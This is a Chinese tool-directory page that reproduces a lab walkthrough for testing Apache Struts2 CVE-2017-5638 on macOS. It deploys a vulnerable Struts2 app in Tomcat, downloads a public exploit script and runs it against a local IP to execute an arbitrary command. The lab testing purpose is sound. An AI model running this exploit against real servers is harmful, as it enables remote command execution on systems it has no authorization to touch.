Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
test_struts2_vulnerability_CVE-2017-5638 — 在Mac OS X上测试struts2漏洞CVE-2017-5638 | Kitploit
工具/GitHubGitHub/sjitech/test_struts2_vulnerability_cve-2017-5638
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubsjitech/test_struts2_vulnerability_cve-2017-5638

test_struts2_vulnerability_CVE-2017-5638

在Mac OS X上测试struts2漏洞CVE-2017-5638

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
19年前尚未审核
分享

test_struts2_vulnerability_CVE-2017-5638_in_MAC_OS_X

在 Mac OS X 中测试 struts2 漏洞 CVE-2017-5638

###下载测试 Web 应用并在 tomcat 中运行

root@kitploit:~
#install tomcat
brew install tomcat

#confirm where the tomcat installed
ls -lF `which catalina`

#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec

#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war

#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#run tomcat
catalina run

通过访问 http://localhost:8080/struts2 确认 Web 应用

###从另一台机器运行漏洞利用脚本,获取执行任意命令的能力

root@kitploit:~
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py

#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"

###回到 Web 机器,检查 /tmp/yyy 文件是否已被注入

root@kitploit:~
cat /tmp/yyy

视频:https://youtu.be/iQ_f-eG-EXg

下载工具